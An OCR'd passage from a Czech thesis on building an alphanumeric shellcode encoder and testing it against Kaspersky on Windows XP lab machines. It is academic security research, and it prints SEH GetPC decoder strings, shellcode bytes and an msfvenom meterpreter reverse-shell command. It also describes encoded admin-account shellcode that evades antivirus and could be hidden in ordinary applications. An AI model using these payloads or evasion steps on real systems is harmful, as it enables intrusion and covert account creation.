Pro vyvoj této aplikace vyuzivam editor Visual Studio Code, ktery je dostupny
zdarma ke stazeni zde [61]. Je to editor vyvinuty spole¢nosti Microsoft a skvéle
se hodi pravé pro mensi projekty. Jako programovaci jazyk jsem si zvolila Py-
thon ve verzi 3.5, ktery je dostupny zde [62]. OvSem ke spousténi aplikace
vyuzivam program na operacnim systému Windows, a to Bash on Ubuntu on
Windows — coz je Linux spoustény pod Windows. Na ktery lze Python nainsta-
lovat pomoci piikazu sudo apt-get install python3. Tudiz svoji aplikaci
i testuji na opera¢nim systému Linux.

4.2 Testovaci prostredi

Pro predstavu popisi, jak vypada testovaci prostredi, vice je o tom v kapitole
Testovani. Vysledné zakodované shellcody spoustim ve virtualnim prostiedi
s Windows XP. Pri testovani payloadu s meterpreterem vyuzivam jesté navic
virtualni stroj s Kali Linuxem. Tento payload spadé do kategorie trojsky kun.
Pro testovaci dcely jesté navic vyuzivam druhy virtudlni stroj (s identickymi
Windows XP), na kterém je nainstalovany antivirovy program. Prostiedi je
zobrazeno na obrazku [4.1]
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o ——

|
Ag
A

I |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| / |

— | - |
| Windows XP |

: + antivirovy :

| program |

| |

Utocnik | |
| |

| |

| |

| |

| |

| |

| |

| |

Obrazek 4.1: Testovaci prostfedi, vSechny pocitace jsou ve stejné siti
(10.10.10.1/24)

4.3 Alfanumericky enkodér

Samotny enkodér je implementovan dle predchozi kapitoly. Vyuziva Weverovo
kédovaci schéma k zakddovani shellcodu tak, aby byl alfanumericky. Dalsi
dulezitou soucasti tohoto enkodéru je dekodér. Ten se v tomto pripadé sklada
z nékolika ¢asti a byl i divodem pro¢ mij program nejdiive nefungoval a bylo
potieba ho opravit. O tom se zminuji v sekci Otestovdni aplikace a vyladénd
probléma.

4.3.1 Puvodni dekodér

Prvni ¢asti dekodéru je SEH GetPC. Tato c¢ast se stara z ziskani adresy lo-
kace programu v paméti. Vyuzila jsem nasledujici kéd odtud [63]. Tento kod
vyuziva SEH adresu. SEH se na operacnich systémech Windows vyuziva k za-
chazeni s vyjimkami. Aby bylo mozné vyuzit SEH k ziskani adresy programu
v pameéti, je treba nejdiive vyvolat vyjimku a poté ji odchytit. Konkrétné na-
sledujici kéd vyuziva instrukci f£s k ziskani aktualni SEH adresy a prepsani ji
novou adresou.

getpc = "VTX630VXH49HHHPhYAAQhZYY" +\
"YYAAQQDDDA36FFFFTXVjOPPT" +\
"UPPa301089"

Listing 3: GetPC
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4.3.2 Opraveny dekodér

Jak se pozdéji ukazalo, tak kéd zminény v predchozim odstavci nefunguje na
Windows XP, a proto jsem musela pouzit jing. Konkrétné tento [4l Podrob-
néji je otestovani dekodéru rozebrano v sekci Otestovdni aplikace a vyladénd
probléma. Stary dekodér pravdépodobné nefungoval z toho dtivodu, ze ve Win-
dows XP piibyly prvky ochrany SEH, které se nyni museji navic obejit. Vyuzila
jsem SEH GetPC odtud [64].

getpc = "VTX630VXH49HHHPhYAAQhZYY" +\
"YYAAQQDDDVA36FFFFX4840TY" +\
"VPQQTUQAQa3010d39d1989"

Listing 4: GetPC

4.3.3 Kobdovaci ¢ast

Koédovaci ¢ast je implementovana dle Weverova schématu na obrazku
v predchozi kapitole. Nejdrive rozdélim byte na dvé poloviny, ke kterym néa-
sledné hledam ke kazdé zvlast druhou polovinu tak, aby tyto ¢asti dohromady
davaly alfanumericky znak. V obou dvou pripadech povazuji za dané ¢étyti
nejméné vyznamné bity a hleddm Ctyfi nejvyznamnéjsi bity. K tomuto hle-
dani vyuzivam vylepseny bruteforce, ktery se zakladd na vlastnostech binarni
reprezentace alfanumerickych ASCII znaki. Jak si 1ze v§imnou na obrazku
pokud zndm ¢étyfi nejméné vyznamné bity, tak existuje pouze pét moznosti,
jak doplnit zbylé ¢tyfi bity tak, aby vysledny byte byl alfanumericky. K to-
muto vyuzivam ve své aplikaci funkci random.randint () z knihovny random,
pomoci které vzidy nahodné vyberu jednu moznost z péti a nasledné otes-
tuji jestli vysledek je alfanumericky. Pokud neni, zkusim vybrat néjakou jinou
moznost, a to do té doby nez se mi podari najit takovou moznost, ze cely byte
je alfanumericky. Ze zminéného obrazku i vyplyva, ze tento zptisob ma vzdy
feseni.

4.4 Otestovani aplikace a vyladéni problémi

Po naprogramovani aplikace jsem se pustila do testovani. To se neobeslo bez
problému. Rozhodla jsem se, Ze k otestovani své aplikace, si vyberu néjaky
jednoduchy shellcode, na kterém ptjde snadno vyzkouset funkénost implemen-
tovaného enkodéru. Proto jsem si nakonec zvolila tento shellcode [f z Githubu,
konkrétné odtud [65]. Je to shellcode, ktery na Windows XP spusti pomoci
prikazové fadky obycejnou kalkulacku. Kalkulacka je vybrana z toho duvodu,
ze ji obsahuji snad vSechny verze opera¢niho systému Windows uz v zakladu.
Na obrazku [4.3] je kalkulacka zndzornénd. Moje aplikace tento shellcode do-
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0 0011 0000 p 0111 0000 P 0101 0000
1 0011 0001 q 0111 0001 Q 0101 0001
2 0011 0010 r 0111 0010 R 0101 0010
3 0011 0011 s 0111 0011 S 0101 0011
4 0011 0100 t 0111 0100 T 0101 0100
5 0011 0101 u 0111 0101 U 0101 0101
6 0011 0110 v 0111 0110 V 0101 0110
7 0011 0111 w 0111 0111 W 0101 0111
8 0011 1000 x 0111 1000 X 0101 1000
9 0011 1001 y 0111 1001 Y 0101 1001
z 0111 1010 Z 0101 1010
a 0110 0001
b 0110 0010 A 0100 0001
c 0110 0011 B 0100 0010
d 0110 0100 C 0100 0011
e 0110 0101 D 0100 0100
f 0110 0110 E 0100 0101
% 8%8 (1)(1)(1)6 F 0100 0110 ASCII
G 0100 0111
i 0110 1001 H 0100 1000 TABU,LK,A
j 0110 1010 I 0100 1001 V BINARNI
k 0110 1011 J 0100 1010 SOUSTAVE
1 0110 1100 K 0100 1011
m 0110 1101 L 0100 1100
n 0110 1110 M 0100 1101
o 0110 1111 N 0100 1110
O 0100 1111

Obrézek 4.2: ASCII tabulka v bindrni soustavé, rozdélend dle 4 nejvyznam-
néjsich bita

stala jako vstup. Vystup jsem si nechala ulozit do souboru. Nasledné jsem
z tohoto shellcodu vyrobila EXE soubor pomoci této aplikace [66].

shellcode = \
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x54\x59\x52\x51\x64" +\
"\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b" +\
"\x01\xfe\x8b\x54\x1f\x24\x0f \xb7\x2c\x17\x42\x42\xad" +\
"\x81\x3c\x07\x57\x69\x6e\x45\x75\xf0\x8b\x74\x1f\x1c" +\
"\x01\xfe\x03\x3c\xae\xff\xd7"

Listing 5: Shellcode, ktery spousti kalkulacku na Windows XP [65]

Nésledné jsem tento EXE soubor zkusila spustit na virtualnich Windows
XP. Coz se bohuzel nepovedlo. Po kliknuti na aplikaci nedojde ke spousténi
kalkulacky. Teoreticky by mél dekodér dekédovat zakdédovany shellcode a ten
by se mél nasledné provést. Ke zjisténi, kde se mize nachézet problém, jsem
zkusila spustit program v debuggeru. Konkrétné v programu OllyDbg, ktery
je dostupny zde [67]. Na obrazku lze vidét na jaké instrukci se program
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4.5. Alpha2 vs. moje implementace

Calculator
Edit  Wiew Help
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Obréazek 4.3: Kalkulacka na Windows XP spousténa zminénym shellcode

zastavi a pro¢ neprobéhne dal. Zde vidim, Ze aplikace spadne v misté, kde
dochézi k ziskani adresy lokace programu v paméti pomoci SEH.

Tim se vyvraci mé prvni podezieni, ze by problém mohla zplsobovat
ochrana paméti, kterd nedovoluje na jedno misto v paméti nejdiive zapiso-
vat a poté z téze mista instrukce i vykonévat. Pro jistotu si jesté ovéiim, ze
je opravdu vypnuty DEP. Jak bylo zndzornéno na obrazku [I.7, na kterém
je znazornéna struktura EXE souboru. Kazda sekce EXE souboru méa nasta-
vend urcitd prava, obvykle takovd, ze v misté, kam program zapisuje, nelze
instrukce vykonavat a naopak. Kdyz si moji aplikaci oteviu v PE file explo-
reru, tak se lze podivat jakd prava a jaké sekce jsou nastavené v moji aplikaci.
Na obrazku [£.5]1ze vidét, ze sekce, ve které je ulozen muj kdd, je oznacena jako
.text a proto by nemél byt problém do ni zapisovat a s vypnutym DEPem v
ni pujde instrukce i vykondvat.

Nakonec se ukézalo, ze opravdu byly Spatné instrukce pro ziskani lokace
kédu v paméti pomoci SEH. Tudiz v sekci Opraveny dekodér se zabyvam tim,
jak jsem tuto chybu opravila.

Jesté jednou zminim, Ze pro spravnou funkcénost dekodéru je potfeba mit
na testovacim stroji vypnutou DEP ochranu. Na Windows se DEP poprvé
objevil v operacnim systému Windows XP service pack 2 v roce 2004. Tato
zkratka znamena Data Erecution Prevention a znamena, ze nékteré ¢asti pa-
méti jsou oznacené jako nespustitelné. To znamend, ze pokud je v tomto misté
ulozena néjaka instrukce a pocitac¢ se ji pokusi vykonat, program skoné¢i vy-
jimkou.

4.5 Alpha2 vs. moje implementace

Mezi nejznaméjsi a dle mého nazoru nejpouzivanéjsi implementaci alfanume-
rického enkodéru patii Alpha2, coz je enkodér ktery je pouzit v Metasploitu
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4. REALIZACE

OllyDbg - oldseh.exe - [CPU - main thread, module oldseh]

@ File Wiew Debug Plugins Options Window Help =
ol edx| »]u] vy 3913 4] = b e|m]x)wiu)cl/|x/p|u].is| 1
g TCHE EYTE FTR 0%t [ECRT, ER i
dotoee| | 43 DECRES: ECH{ DoEaoes0
S| o gF e [ —|ECk eaizFFE
Sy o 68 e [ EEY Bo1ZFFE
Senaa| o 58 DECgEC ESF B01ZFFE
aa4a165F| . 49 DEC ECH B RhhEaa
B 22
: ED1 BA1aFFE2
aa401662 + 49 DEC ECH
461063 . 49 DEC ECH EIF BB481858 oldseh.BB401658
401064| . 43 DEC ECX :
C @ ES @@=z 32hit @iFFFFFFFF
S| o o B R F @ CSBeie 32bit 8 FFFFFFFF
S| o 58 i B A @ S5 @EE3 Szbit @(FFFFFFFF
S| o 98 E=n B Z B DS BE23 3ebit O(FFFFFFFF
G| o 8 DECREE: 5@ FS BE3E Szhit PFFOFGGECF
andnioen| . 49 DEC ECH uE G5 EEE L
]| o B DT — 0B LastErr ERROR_SUCCESS (@
a0401660 + 5A POF EOH EFL @B18282 (HO, HE, NE, A, NS, P
40106E| . BA 41 PUSH 41
$T9 empty -UNORI BOEC @iaceio
P o B e, ST1 empty +UNORN G064
dotara) a1 30 $0F BUTE PTR DS: [ECX+301,AL Sl e B Boage16 4308762004
4 o
4p167E| o 6B41 41 51 | IMUL EFx,DWORD PTR DS:[ECK+411,51 R S B 3
401070 . 24l 42 R AL, BYTE ETR be: (ECRedzl ST el R
4oia7D| . 24z 42 AL, BYTE D5 [EDH+42] ST o B
401000 . 2643 42 xoR BVTE PR D5 LD AL B oeap E
e e (e FST G068 Cond 8 8 8 6 Err ©
e o &8 THCyED: FCW B27F Frec NEAR,53  Mask
ap4a1626 . 5B PUSH ERx
AR4A1AST| . 3341 42 CFF BYTE PTR DS: [ECH+421,AL
20401620 .75 4R JMZ SHORT oldseh .@a4@1606
aa4a162c| . 49 DEC ECX
AR4A1AS0| . 6 FUSH ES1 b
ER=FF
D57 [BEBEREZE1=777
Address |Hen durp ASCIT ~ EENERTE] CoiEies v
PB4B5EB0| 57 73 32 GF |33 32 2b 64| Wse 32.d = SS}%EFEE dlasas =
AR4056RS| 60 60 BA 98| DA 57 53 41| Ll...05A FFEF| FFRFREER
B0405016| 53 74 61 72|74 75 7O BE| Startup. E R ERERER
485012| 55 0 AB 71|00 B BB BE|Ui%a.... = lAnoREN
S| g el FEFFFFPL
e o FOEGEGFEF
5 o S4BB3R7TF
o E 12FFCag0
o B2EADEEE
o B FEFFFFag
Zoca| ae B8 12FFESFF
4A5A5E| BB A8 elkhEEaa
Soes| 66 B0
Q0465678 B0 60
A0465672| BB 00 oog
AR4A5A5E| BB 00
00405652 B0 60 =
00465656 B0 60 2 2
Access violation when reading [00000030] - use Shift+F7/F8/F9 to pazs exception ta program | | Pauzed

Obréazek 4.4: OllyDbg — program, ktery spousti kalkulacku, zde je vidét, ze
program neprobéhne v poradku a na jaké instrukci se zastavi

(viz obrazek — pomoci piikazu msfvenom -1 encoders). Zde srovnavam
mé FeSeni konkrétné s timto [68] alpha2.c. Toto Feseni bruteforcuje alfanu-
merické znaky tim zpusobem, Ze potom, co rozdéli byte na dvé poloviny A
a B, tak vzdy ndhodné zvoli jeden znak (8 bitl), vezme jeho 4 dolni bity a po-
rovnava je s B do té doby, nez nalezne shodu. To stejné provadi i pro duhou
polovinu ptuvodniho bytu — B.

Oproti tomu mé feseni vychézi z toho, ze je pouze 5 moznosti, jak doplnit
spodni 4 bity, témi vice viznamnymi tak, aby vysledny znak (byte) byl alfanu-
mericky. TudiZz moje feseni je efektivnéjsi a nezkousi zbytecné tolik moznosti.
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4.6. Testovani riznych vstupl a vystupt

w BEE
- . =~ y B, @
r-Pde W AEE ¥ oA S @ o
w5 NETY 0] 00001000
me irtual Size Virtual Address | Size of Faw Data | Pointer to Raw Data | Characteristics . Painting Directories
& lext 00004000k 00401 000k 00004000k 000071 000k E0000020k Delay Impart Descriptor
2 Silvana 00001000k 00405000kH 0000005CkH 00005000 0000040k Imnport T able

aaaA1ana
aBaA1 840
ARAA1A8A
aBaA1aceA
apaA1180
aBaA1140
ABAA1130
BaBaA11ca
apaA1200
A08A1240
ABaA1230
a8aA12c0
aBaA1 300
ABaA1340
AEEA1380
aBaA13ca
apaA1 480
aaaA1 440
BaBAA1 430
aBaA14Ca
ABaA1500
ABaA1540
ABAA1530

F4 - TEXT/HEX

BA4091 6060
00491840
AA4A168A
B04918CA
AA491160
BA491140
AA401180
BA4911CA
0040912600
B0401240
BA491280
804081260
BA491360
B0491340
A0401380
B04913CA
aA491 460
Ba4091 440
BA491480
B04914CA
BA491560
B0401540
AA491580

Fal Size: 00004000h; Virtual Size: 00004000k

iapl PhEE  E1PR EEEEEEEEEEEEEEVTRG3BUKHATHHHPhYAAQhZYYYYARQQDD

DUd36FFFFR484ATYUPQQTUQAQa3A1Ad39d1 9B IITITIITIIIIIIIIIII?QZ jAXPOA
AnkAAQ2ZAB2BBEABEABR PRABuJI TghRRr58FcEQP 188 F4BugBU1 Qt LECBt pnkpuTLn
kputLnM1Kf PNkgnUx1KqOgLnkQLgosHNkrTuOgPUQkN1K»tWoe tbooG41UwRbgR1
mnall 16 gf ?piRNg5 puJPLET 4Hol1ls1YnGs wLnNKOxWA

@5.85.2018 1@:15:
@5.85.2018 1@:15:
@5.85.2018 1@:15:

@5.65.2018 18:15:
@5 .85 .2818 1@:15:

: Mext Header OF
: PE Signature:
: Calculating Ch
: EOF Position:
: Done.

FSET: BBEBh
0K

ecksum:
BAARSA5Ch

SUCCESS
28572>

{Header’s Checksum: BBBBBBAEL ~ Real Check:

For Help. press F1

Obrézek 4.5: PE Explorer — program ktery spousti kalkulacku, sekce ve které
je ulozen shellcode je oznacen jako .text a proto by nemél byt problém do ni
zapisovat

4.6 Testovani raznych vstupt a vystupua

V névrhu jsem zminila, Zze moje aplikace umi shellcode ptijmout na vstupu
riznymi zplsoby. Zde se vénuji otestovani téchto zptsobt. Na obrazku (4.7
lze vidét ukazka riznych vstupt a vystupl. Dale bylo otestovano zakddovani
shellcodu v binarnim souboru pomoci prikazu python3 encoder.py -f te
st_shellcode.bin

4.7 Shrnuti realizace
Uspésné byla implementovana aplikace, kterd zakdéduje shellcode alfanume-
rickym enkodérem. Tato aplikace byla otestovana na shellcodu, ktery spousti

kalkulacku na Windows XP. Nakonec bylo porovnédno mé reseni implementace
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4. REALIZACE

root{@kali: ~ e ® 0

File Edit View Search Terminal Help
ruby/ba Ruby Baseb4 Encoder
al SPARC DWORD XOR Encoder
normal XOR Encode
manual Zutto Dekiru
manual sub Encod
x86/alpha mixed Tow
x86/alpha upper low
manual
manual
manual r - A Metamorphic Block B
bmp_| manual BMP Polyg
x86/calld dw n Call+4 Dword XOR Enco
manual CPUID-ba
manual
manual
normal Si € XOR Count
normal i gth F
/imp_call_ itive normal Jump/Call XOR Additive F
/nonalpha low -Alpha Encoder

BOTIITITIIIIITIITITIZQZ]

PQQTUQAQa 98OIIITIIIIIIIITIIIIIZQ:

SRR

Obréazek 4.7: Ukazka riznych vstupi a vystupi
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4.7. Shrnuti realizace

1 2 3 4
argumenty dekodovat_vstup zakodovat_shellcode = soubor_vystup

5
text_vystup

Obréazek 4.8: Realizace aplikace — znazornéni funkci a jejich navaznosti

s Alpha2.

Na obrazku Ize vidét z jakych funkci je aplikace slozena. Prvni funkce
argumenty se stard o zpracovani argumentl aplikace, které zada uzivatel.
Druhé funkce dekodovat_vstup prevede shellcode do spravného formétu, aby
s nim mohla pracovat nasledujici funkce zakodovat_shellcode, kterd se stard
a zpracovani shellcodu a jeho zakédovani alfanumerickym enkodérem. Ctvrté
a patd funkce (soubor_vystup a text_vystup) se staraji o ulozeni vysledného
zakédovaného shellcodu do souboru, ptipadné o jeho vypsani na prikazovou
radku v prislusném formétu.
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KAPITOLA 5

Testovani

V této kapitole se vénuji testovani implementované aplikace, jaké jsem pro
testovani pouzila virtualni prostiedi a jaky jsem si zvolila antivirovy program.
Déle také zdavodnuji vybér skodlivého kédu, na kterém je implementovand
aplikace testovana. V predchozi kapitole byla aplikace odladénd na
neskodném shellcodu, ktery spousti kalkulacku (konkrétné v sekci Otestovdni
aplikace a vyladéni problémi). Tudiz v této kapitole se jiz vénuji testovani
aplikace s realnym skodlivym kédem.

5.1 Virtualni prostredi

K otestovani aplikace na skodlivém kédu je pouzit operacni systém Windows
XP, ktery obsahuje zranitelnosti. Tudiz se hodi k otestovani funkcénosti im-
plementovaného algoritmu. Konkrétné vyuzivam Windows XP Professional
Version 2002 Service Pack 3, které poustim ve Virtual boxu. Virtual box bézi
na Windows 10. Virtualni prostfedi 1ze vidét na obrazku Dale k otesto-
vani meterpreteru vyuzivam virtualni stroj se systémem Kali Linux. Ktery je
ve stejné siti, jako zminény virtudlni stroj s Windows XP.

5.2 Antivirovy program

Testovany antivirovy program jsem si zvolila Kaspersky Free ve verzi 18. Do-
stupny z [69]. A ten jsem nainstalovala na druhy virtudlni stroj s Windows
XP. Na obrazku [5.2] je tento antivirovy program zndzornén.

5.3 Zvoleny skodlivy kéd

K testovani jsem si zvolila dva rizné skodlivé kédy. Prvni test provedu se
shellcodem, ktery vytvori spojeni s druhym virtualnim strojem a vyuzije me-
terpreter. Skodlivy kéd je spoustén na Windows XP a druhy virtualni stroj je
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5. TESTOVANT

£ Control Panel System Properties Rl

Filz  Edit  Wiew

_ Systern Restore || Automatic Updates || Remate
O Back < General ‘ ComputerMame | Hardware | Advanced

A Address |G Control ] System:

g Microsoft Windows <P ( ':la
| Professional f I,rj
Accessibility  Add H. [' Wersion 2002 Flash Player Folder Options Fonks
Optians l'Lj Service Pack 3
-@ ‘: - HEQIStTErEd tar q‘h (Y 1l @
pajak \ﬁ (= 3
Game Ints ower Options  Printers and  Regional and

Cortrolers  Op SR Faxes  Languags ..

% L Computer: ﬁ F! a

Scanners and  Schg IntellR] Core(TH] i5-6200U Pser Accounts  Windows Windows
Cameras T4 CPU @ 2 30GHz CardSpace Firewall

2.40 GHz, 1.19 GE of RAM

Wireless
Network Set...

B mete_encode... | oo CiDorument.. B S &8 441aM

Obrézek 5.1: Windows XP — testované virtualni prostredi

Kali Linux. Druhy test bude se shellcodem, ktery na opera¢nim systému Win-
dows XP vytvori administratorsky tcet. Zdroje téchto shellcodi jsou rtzné.

5.4 Samotné testovani

Samotné testovani se sklada z nasledujicich kroki:
1. Skodlivy kéd zakéduji pomoci mé aplikace.
2. Nasledné z néj vytvorim EXE soubor.

3. Spustim skodlivy kéd bez antivirového programu a testuji zda funguje,
jak ma.

4. Oskenuji skodlivy kéd ve virtudlnim prostfedi pomoci antivirového pro-
gramu.

5. Spustim skodlivy kdd se zaplym antivirovym programem.
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5.4. Samotné testovani

@) Kaspersky Free KASPERSKYE ? - X

Your computer is protected

Scan Database Update

ﬁ} Q Other products My Kaspersky  License: 365 days remaining

Obrézek 5.2: Kaspersky Antivirus nainstalovany na Windows XP

5.4.1 Test titoku — Meterpreter

Nejdrive si vytvorim virtualni prostredi pro testovani a simulaci utoku. K
tomu vyuziji dva virtudlni stroje — jeden s Windows XP a druhy s Kali Linu-
xem. Ve Virtual Boxu si vytvorim vlastni sit, ve které budou tyto dva zmi-
néné stroje. Vyuziji konkrétné tento [5.3|shellcode vygenerovany Metasploitem
pomoci prikazu msfvenom -p windows/meterpreter/reverse_tcp LHOST=
10.10.10.3 LPORT=4444 -f ¢ -a x86 --platform windows. Nejdiive zku-
sim tento shellcode otestovat nezakédovany, zda vubec funguje, jak méa. Tudiz
z néj vytvorim EXE soubor pomoci piikazu cl a otestuji na Windows XP
a Kali Linuxu. K otestovani meterpreteru nejdiive musim spustit na Kali Li-
nuxu Metasploit a poté provést prikazy zndzornéné na obrazku[5.4l Pak uz jen
Metasploit ¢eké na spusténi skodlivého kédu na Windows XP a na pripojeni.
IP adresa, kterou nastavuji je adresa Kali Linuxu, je to adresa, na kterou se
skodlivy kéd pripojuje. Tudiz nyni spustim skodlivy kéd na Windows XP. A
Metasploit d& najevo tispésné pripojeni tim, Ze vypise Meterpreter session
1 opened (10.10.10.3:4444 -> 10.10.10.4:1205).

Otestovala jsem, ze Skodlivy kéd funguje spravné, nyni ho zkusim zakédo-
vat mou aplikaci a znovu spustit. Zvolim stejny postup jako v pripadé shell-
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5. TESTOVANT

root@Kkali: ~ e 0 O
File Edit View Search Terminal Help
—# msfvenom -p windows/ erpreter/reverse_tcp LHO5T=10.10.10.3 LPORT=

f\»dC\aCl
J\!’4\!75

"'b\ X 1"\

Py xle\xeo\xeo"
3\x6a\x99\x5 b

"\}-'.C3\Xbb\:‘:{f|)\}(b5\»d WX56\X nd\al)l)\»f).)\ xff\xds";

Obréazek 5.3: Meterpreter — ukdzka shellcodu vygenerovaného Metasploitem

codu, ktery vytvari administratorsky tcet — zakéduji pomoci mé aplikace a na-
sledné z néj vytvorim EXE soubor. Bohuzel nasledny pokus o spusténi tohoto
vytvoreného EXE souboru se zakdédovanych shellcodem skoncil netspéchem.
Aplikace se nespustila a misto toho spadla.

5.4.1.1 Meterpreter

Meterpreter je nastroj v Metasploitu, ktery umozinuje uto¢nikovi vzdalené vy-
konavat ruzné prikazy na napadeném stroji. K tomu je nutné, aby uzivatel
spustil skodlivy kéd na svém stroji, ktery se pripoji k ttocnikové stroji. Pri-
kazy, které pak muze tto¢nik vyuzit, jsou zde [70].

5.4.1.2 Otestovani s antivirovym programem

Nezakédovany skodlivy kod antivirovy program oznadi jako skodlivy. Testo-
vat zakodovany kéd, kdyz nefunguje, postrada smysl. Abych zjistila, jestli
je problém primo v mém enkodéru, zkusila jsem stejny shellcode zakdédovat
i referen¢nim alfanumerickym enkodérem. Ukéazalo se, ze ani v tom pripadé
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5.4. Samotné testovani

root@Kkali: ~ e @ 0
File Edit View Search Terminal Help

liary - 306 post
- 10 nops
http://r-7.co/trymsp

d == windows/meterpre _tcp
ploit( ) = »t lhost 10.10.10.3
10.10.10.3

et lport 4444
) = run

e TCP handler on 10.10.10.3:4444

Obrazek 5.4: Metasploit — ukazka spusténi meterpreteru

zakdédovany Skodlivy kéd nefunguje. Tudiz chyba neni v implementaci alfa-
numerického enkodéru. Proto se pustim k otestovani své aplikace na druhém
skodlivém kodu.

5.4.2 Test atoku — vytvoreni administratorského uctu

Jako druhy kdd k testovani vyuziji tento skodlivy kéd [71]. Tento shellcode
vytvari administratorsky tcet na Windows XP. Nejdrive otestuji, zda tento
skodlivy kod funguje i nezakdédovany. K tomu vyuziji Visual Studio 2008 Com-
mand Prompt, ve kterém skodlivy kéd zkompiluji — vytvorim z néj spustitelny
soubor, pomoci piikazu cl skodlivy_kod.c. Tento piikaz vytvoii ve stej-
ném adresaii soubor skodlivy_kod.exe. Zobrazeno na obrazku zde Ten
nasledné zkusim spustit a jak je zfejmé z obrazku doslo k vytvoreni ad-
ministratorského Gétu (s ndzvem secuid0).

Shellcode sam o sobé funguje, tudiz se vrhnu na dalsi krok — zakédovani.
Vezmu samotny shellcode a spustim moji aplikaci s nasledujicimi argumenty
python3 encoder.py -i w -d -o c. Parametr -d se postard o zbaveni se
prebyteénych uvozovek. Nové fadky je potieba odstranit predem. Aplikace
vypise na prikazovou radku zakédovany shellcode ve formatu hodicim se pro
programovaci jazyk C. Tento shellcode vezmu a vlozim namisto ptivodniho
v souboru skodlivy_kod.c. Nésledné, stejné jako u nezakédovaného shell-
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5. TESTOVANT

> E' User Accounts
ol

Learn About

E‘?] User accounts
E‘?] User accounk bypes
E‘?] Switching users

LY

ck a task...

n account

[+]
[
=0
o
= |
=1
m
[T}

w account

© [
i
i
m

Change the way users log on or off

or pick an account to change

paja secuid0
Computer administrator Computer administrator

- Password protected

Guest
Guest account is off

Obrazek 5.5: Vytvotreni administratorského tc¢tu na Windows XP pomoci
skodlivého kédu

C:-“Documents and Settings:pajasDesktoprcl skodlivy kod.c
MHicrosoft (R> 32-bhit CAC++ Optimizing Compiler UVersion 15.80.38729 .61 for 88x86
Copyright (C> Microsoft Corporation. All rights reserved.

ekodlivy_kod.c
Microsoft (R> Incremental Linker Uersion 9.808.38727.81
Copyright (C> Microsoft Corporation. All rights reserved.

Fout iekodlivy kod.exe
ekodlivy_kod.obj

C:\Documents and Settings\pajasDesktop>

Obrézek 5.6: Vytvoreni spustitelného souboru pomoci prikazu cl

codu, aplikaci zkompiluji a spustim. Na obrézku[5.7|1ze vidét ispésny vysledek
— novy administratorsky ucet.

5.4.2.1 Vyuziti

Cést, kterd se ve spustitelném souboru stard o vytvoreni administratorského
uctu je alfanumericka, tudiz se tvari jako normalni text a muze uniknout
i ¢lovéku, ktery si bude prohlizet obsah spustitelného souboru jesté pred tim,
nez ho spusti. Tento shellcode také muze byt teoreticky pridan k néjaké bézné
bezpecné aplikaci, pri jejimz spusténi bézny uzivatel ani nepostrehne, ze doslo
k vytvoreni dalsiho administratorského uctu.
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5.5. Navrh na dalsi testovani

skodlivy_kod_encoded.c - Visual C++ 2008 Express Edition

File Edi View Debug Tools Window Help
TR R = I TR T I - Y User Accounts
b B A | 3 S2 068G 6385

skadlivy_kod_encoded.c
" x7al K46 X TTL AL Ko 6L KBS x42 ', XY X6 K5
K3 EY KIZY KAEY KTRY X34 KAEY KEEY K56 xady w77y k5[] User sceounts .
"6t K55 xTal x7ah x4\ x7al w6al x6bh x4 7\ xSy xS Y [F] User account bypes Pick a task...
"yRS2Y K5I K Gm K6l KSaL X80\ 00V KT xaet w53 Lkl 3] Suiehing users
" XEEY X584 137\ x5al K311 x55) K39 K56 k724 162 K6

By KTEY KEGY XA K54 K304 K0 KAEY KETY K324 K
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Obréazek 5.7: Vytvoreni administratorského tc¢tu na Windows XP pomoci za-
kédovaného skodlivého koédu, vlevo je ¢asteéné vidét kod aplikace a vpravo
potom novy vytvoreny administratorsky tucet — stejné jako na obrazku [5.5

5.4.2.2 Otestovani s antivirovym programem

Uz je vyzkouseno, ze zakédovany skodlivy kod funguje, proto nyni vyzkousim,
jestli ho odhali antivirovy program. Nejdrive otestuji, jestli ho antivir detekuje
i bez spusténi a zda antivirovy program detekuje nezakédovany skodlivy kod.
Ukézalo, ze v tomto piipadé antivirovy program nedetekuje ani nezakdédovany
skodlivy kod, stejné tak zakdédovany také nedetekuje. Tudiz se domnivam, ze
alfanumericky enkodér nemé v tomto piipadé vliv na detekci. Doslo k tspés-
nému spusténi skodlivého kédu za pritomnosti antivirového programu.

5.5 Navrh na dalsi testovani

Tato ¢ast uz neni zrealizovand, napadla mé v dobé, kdy jsem fesila problém se
SEH GetPC kédem. Je to jedna z moznosti k ¢emu lze vyuzit alfanumericky
shellcode. Pti tomto zplisobu neni potieba ze shellcodu vytvaret EXE aplikaci.
Misto toho sta¢i vyuzit aplikaci, kterd je zranitelnd na utoky typu buffer
overflow. Zranitelné aplikaci 1ze na vstupu podstréit zakédovany alfanumericky
shellcode, ktery se nasledné pokusi o spusténi. Vyhodou tohoto zptisobu je, ze
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i v pripadé, kdy aplikace bude testovat vstup a zjistovat, zda-li obsahuje pouze
alfanumerické znaky, tak zakédovany shellcode timto testem bez problému
projde. Dalsi zajimavosti, kterou zde zminim, je tento ¢lanek [72]. Zabyva se
také kodovanim shellcodu tak, aby obsahoval pouze urcité znaky. Ovsem snazi
se byt mnohem vic specifictéjsi a to tak, ze vysledny zakédovany shellcode ma
vypadat podobné jako anglicky text.

Tato moznost testovani zahrnuje nasledujici kroky, které ve zkratce i ro-
zeberu:

e Vytvorit aplikaci zranitelnou na buffer overflow.
e Vygenerovat si shellcode mou aplikaci, ktery budu testovat.

o Otestovat shellcode jako vstup zranitelné aplikace.

5.5.1 Vytvoreni aplikace zranitelné na buffer overflow

Zranitelnou aplikaci je mozné napsat napriklad v jazyce C. Je to asi nejjedno-
dussi reseni na otestovani a to proto, ze C je jazyk, ktery nechava spoustu véci
na samotném programatorovi a nekontroluje za néj napriiklad délku vstupu
a zda vstup nahodou neni vétsi, nez buffer do kterého ho aplikace uklada.
Z toho divodu se tento jazyk a aplikace v ném napsand hodi na testovani zra-
nitelnosti typu buffer overflow. Zranitelna aplikace muze obsahovat napriklad
funkci strepy.

Buffer overflow se nazyva pripad, kdy program pri zapisovani dat presidhne
velikost bufferu a zac¢ne zapisovat data do paméti do mista, kde nemaji co
délat.

5.5.2 Vygenerovani zakédovaného shellcodu pomoci mé
aplikace

Nésledné se pouzije moje aplikace na zakddovani shellcodu. Shellcode si uzi-
vatel mize zvolit dle svych potieb, napiiklad pokud jde jen o testovani, lze
zvolit stejny shellcode, jako jsem pouzivala v predchozi kapitole — shellcode,
